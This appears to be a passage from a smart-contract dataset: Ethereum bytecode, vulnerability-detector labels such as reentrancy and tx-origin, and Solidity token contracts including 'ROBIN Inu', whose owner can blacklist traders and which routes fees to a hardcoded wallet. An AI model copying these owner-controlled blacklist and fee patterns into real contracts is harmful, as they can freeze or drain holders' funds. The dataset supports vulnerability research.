65b600060208201905081810360008301526134478161340b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006134b782612f39565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134ea576134e961347d565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613551602683612e9a565b915061355c826134f5565b604082019050919050565b6000602082019050818103600083015261358081613544565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006135e3602483612e9a565b91506135ee82613587565b604082019050919050565b60006020820190508181036000830152613612816135d6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613675602283612e9a565b915061368082613619565b604082019050919050565b600060208201905081810360008301526136a481613668565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613707602583612e9a565b9150613712826136ab565b604082019050919050565b60006020820190508181036000830152613736816136fa565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613799602383612e9a565b91506137a48261373d565b604082019050919050565b600060208201905081810360008301526137c88161378c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061382b602983612e9a565b9150613836826137cf565b604082019050919050565b6000602082019050818103600083015261385a8161381e565b9050919050565b7f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000600082015250565b6000613897601e83612e9a565b91506138a282613861565b602082019050919050565b600060208201905081810360008301526138c68161388a565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613903601c83612e9a565b915061390e826138cd565b602082019050919050565b60006020820190508181036000830152613932816138f6565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613995602383612e9a565b91506139a082613939565b604082019050919050565b600060208201905081810360008301526139c481613988565b9050919050565b60006139d682612f39565b91506139e183612f39565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a1657613a1561347d565b5b828201905092915050565b7f544f4b454e3a2033206d696e7574657320636f6f6c646f776e2062657477656560008201527f6e20627579730000000000000000000000000000000000000000000000000000602082015250565b6000613a7d602683612e9a565b9150613a8882613a21565b604082019050919050565b60006020820190508181036000830152613aac81613a70565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613b0f602383612e9a565b9150613b1a82613ab3565b604082019050919050565b60006020820190508181036000830152613b3e81613b02565b9050919050565b6000613b5082612f39565b9150613b5b83612f39565b925082821015613b6e57613b6d61347d565b5b828203905092915050565b600081519050613b8881612d83565b92915050565b600060208284031215613ba457613ba3612c85565b5b6000613bb284828501613b79565b91505092915050565b6000819050919050565b6000613be0613bdb613bd684613bbb565b61303e565b612f39565b9050919050565b613bf081613bc5565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613c2b81612d71565b82525050565b6000613c3d8383613c22565b60208301905092915050565b6000602082019050919050565b6000613c6182613bf6565b613c6b8185613c01565b9350613c7683613c12565b8060005b83811015613ca7578151613c8e8882613c31565b9750613c9983613c49565b925050600181019050613c7a565b5085935050505092915050565b600060a082019050613cc960008301886130b8565b613cd66020830187613be7565b8181036040830152613ce88186613c56565b9050613cf7606083018561316c565b613d0460808301846130b8565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613d44601b83612e9a565b9150613d4f82613d0e565b602082019050919050565b60006020820190508181036000830152613d7381613d37565b9050919050565b6000613d8582612f39565b9150613d9083612f39565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613dc957613dc861347d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613e0e82612f39565b9150613e1983612f39565b925082613e2957613e28613dd4565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e90602183612e9a565b9150613e9b82613e34565b604082019050919050565b60006020820190508181036000830152613ebf81613e83565b9050919050565b600060c082019050613edb600083018961316c565b613ee860208301886130b8565b613ef56040830187613be7565b613f026060830186613be7565b613f0f608083018561316c565b613f1c60a08301846130b8565b979650505050505050565b600081519050613f3681612f43565b92915050565b600080600060608486031215613f5557613f54612c85565b5b6000613f6386828701613f27565b9350506020613f7486828701613f27565b9250506040613f8586828701613f27565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122080966f21afc87da44d5f0c5a43f89a8b431e8df39dd8236a23f050333ac3709e64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,536 |
0x96d18e087f24674335e51ad2609eba03dbf15cf5
|
pragma solidity 0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor(address _owner) public {
owner = _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract DetailedERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
constructor(address _owner)
public
Ownable(_owner)
{
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/** @title Token */
contract Token is DetailedERC20, MintableToken {
/** @dev Constructor
* @param _owner Token contract owner
* @param _name Token name
* @param _symbol Token symbol
* @param _decimals number of decimals in the token(usually 18)
*/
constructor(
address _owner,
string _name,
string _symbol,
uint8 _decimals
)
public
MintableToken(_owner)
DetailedERC20(_name, _symbol, _decimals)
{
}
/** @dev Updates token name
* @param _name New token name
*/
function updateName(string _name) public onlyOwner {
require(bytes(_name).length != 0);
name = _name;
}
/** @dev Updates token symbol
* @param _symbol New token name
*/
function updateSymbol(string _symbol) public onlyOwner {
require(bytes(_symbol).length != 0);
symbol = _symbol;
}
}
|
0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461010057806306fdde0314610129578063095ea7b3146101b357806318160ddd146101d757806323b872dd146101fe578063313ce5671461022857806340c10f1914610253578063537f53121461027757806366188463146102d257806370a08231146102f65780637d64bcb41461031757806384da92a71461032c5780638da5cb5b1461038557806395d89b41146103b6578063a9059cbb146103cb578063d73dd623146103ef578063dd62ed3e14610413578063f2fde38b1461043a575b600080fd5b34801561010c57600080fd5b5061011561045b565b604080519115158252519081900360200190f35b34801561013557600080fd5b5061013e61047c565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610178578181015183820152602001610160565b50505050905090810190601f1680156101a55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101bf57600080fd5b50610115600160a060020a036004351660243561050a565b3480156101e357600080fd5b506101ec610570565b60408051918252519081900360200190f35b34801561020a57600080fd5b50610115600160a060020a0360043581169060243516604435610577565b34801561023457600080fd5b5061023d6106f0565b6040805160ff9092168252519081900360200190f35b34801561025f57600080fd5b50610115600160a060020a03600435166024356106f9565b34801561028357600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102d09436949293602493928401919081908401838280828437509497506108169650505050505050565b005b3480156102de57600080fd5b50610115600160a060020a0360043516602435610851565b34801561030257600080fd5b506101ec600160a060020a0360043516610941565b34801561032357600080fd5b5061011561095c565b34801561033857600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102d0943694929360249392840191908190840183828082843750949750610a029650505050505050565b34801561039157600080fd5b5061039a610a39565b60408051600160a060020a039092168252519081900360200190f35b3480156103c257600080fd5b5061013e610a48565b3480156103d757600080fd5b50610115600160a060020a0360043516602435610aa2565b3480156103fb57600080fd5b50610115600160a060020a0360043516602435610b85565b34801561041f57600080fd5b506101ec600160a060020a0360043581169060243516610c1e565b34801561044657600080fd5b506102d0600160a060020a0360043516610c49565b60065474010000000000000000000000000000000000000000900460ff1681565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105025780601f106104d757610100808354040283529160200191610502565b820191906000526020600020905b8154815290600101906020018083116104e557829003601f168201915b505050505081565b336000818152600560209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6004545b90565b6000600160a060020a038316151561058e57600080fd5b600160a060020a0384166000908152600360205260409020548211156105b357600080fd5b600160a060020a03841660009081526005602090815260408083203384529091529020548211156105e357600080fd5b600160a060020a03841660009081526003602052604090205461060c908363ffffffff610cde16565b600160a060020a038086166000908152600360205260408082209390935590851681522054610641908363ffffffff610cf016565b600160a060020a038085166000908152600360209081526040808320949094559187168152600582528281203382529091522054610685908363ffffffff610cde16565b600160a060020a03808616600081815260056020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60025460ff1681565b600654600090600160a060020a0316331461071357600080fd5b60065474010000000000000000000000000000000000000000900460ff161561073b57600080fd5b60045461074e908363ffffffff610cf016565b600455600160a060020a03831660009081526003602052604090205461077a908363ffffffff610cf016565b600160a060020a038416600081815260036020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b600654600160a060020a0316331461082d57600080fd5b8051151561083a57600080fd5b805161084d906001906020840190610d06565b5050565b336000908152600560209081526040808320600160a060020a0386168452909152812054808311156108a657336000908152600560209081526040808320600160a060020a03881684529091528120556108db565b6108b6818463ffffffff610cde16565b336000908152600560209081526040808320600160a060020a03891684529091529020555b336000818152600560209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526003602052604090205490565b600654600090600160a060020a0316331461097657600080fd5b60065474010000000000000000000000000000000000000000900460ff161561099e57600080fd5b6006805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600654600160a060020a03163314610a1957600080fd5b80511515610a2657600080fd5b805161084d906000906020840190610d06565b600654600160a060020a031681565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105025780601f106104d757610100808354040283529160200191610502565b6000600160a060020a0383161515610ab957600080fd5b33600090815260036020526040902054821115610ad557600080fd5b33600090815260036020526040902054610af5908363ffffffff610cde16565b3360009081526003602052604080822092909255600160a060020a03851681522054610b27908363ffffffff610cf016565b600160a060020a0384166000818152600360209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600560209081526040808320600160a060020a0386168452909152812054610bb9908363ffffffff610cf016565b336000818152600560209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b600654600160a060020a03163314610c6057600080fd5b600160a060020a0381161515610c7557600080fd5b600654604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610cea57fe5b50900390565b600082820183811015610cff57fe5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610d4757805160ff1916838001178555610d74565b82800160010185558215610d74579182015b82811115610d74578251825591602001919060010190610d59565b50610d80929150610d84565b5090565b61057491905b80821115610d805760008155600101610d8a5600a165627a7a7230582045ac03dea26df415eb96e70c5b7bd575424c8ce2787535882d580e91943f13f80029
|
{"success": true, "error": null, "results": {}}
| 6,537 |
0x10b6bd5e0abab280ec1c5313ee04ccbe91a2ebae
|
/**
*Submitted for verification at Etherscan.io on 2021-10-29
*/
/*
https://t.me/robininutoken
https://www.robininu.com
Robin Inu: A hero who protects all
Stealth launch , no dev tokens, verified contract, renounced, lp locked
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ROBININU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"ROBIN Inu";
string private constant _symbol = unicode"ROBIN";
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 2;
_teamFee = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (34 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 2;
_teamFee = 5;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
payable(0x3900EB50147B38C93493d4F22F5eaC8F16E2DDB8).transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
